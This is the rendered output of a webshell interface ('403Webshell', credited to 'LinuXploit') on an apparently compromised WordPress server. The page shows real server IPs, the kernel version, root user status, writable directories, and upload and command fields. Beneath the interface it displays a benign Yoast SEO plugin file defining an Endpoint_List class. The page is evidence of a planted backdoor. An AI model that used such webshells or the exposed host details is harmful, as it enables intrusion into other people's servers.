403Webshell
Server IP : 65.109.86.83  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/wordpress-seo/src/routes/endpoint/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/wordpress-seo/src/routes/endpoint/endpoint-list.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Routes\Endpoint;

/**
 * List of endpoints.
 */
class Endpoint_List {

	/**
	 * Holds the endpoints.
	 *
	 * @var array<Endpoint_Interface>
	 */
	private $endpoints = [];

	/**
	 * Adds an endpoint to the list.
	 *
	 * @param Endpoint_Interface $endpoint An endpoint.
	 *
	 * @return void
	 */
	public function add_endpoint( Endpoint_Interface $endpoint ): void {
		$this->endpoints[] = $endpoint;
	}

	/**
	 * Converts the list to an array.
	 *
	 * @return array<string, string> The array of endpoints.
	 */
	public function to_array(): array {
		$result = [];
		foreach ( $this->endpoints as $endpoint ) {
			$result[ $endpoint->get_name() ] = $endpoint->get_url();
		}

		return $result;
	}

	/**
	 * Converts the list to an array of paths (namespace + route, without host).
	 *
	 * @return array<string, string> The array of endpoint paths.
	 */
	public function to_paths_array(): array {
		$result = [];
		foreach ( $this->endpoints as $endpoint ) {
			$result[ $endpoint->get_name() ] = $endpoint->get_namespace() . $endpoint->get_route();
		}

		return $result;
	}

	/**
	 * Merges two Endpoint_List objects together.
	 * Returns the current instance for method chaining.
	 *
	 * @param Endpoint_List $other_list The other Endpoint_List to merge with.
	 *
	 * @return $this
	 */
	public function merge_with( Endpoint_List $other_list ): Endpoint_List {
		foreach ( $other_list->endpoints as $endpoint ) {
			$this->add_endpoint( $endpoint );
		}

		return $this;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit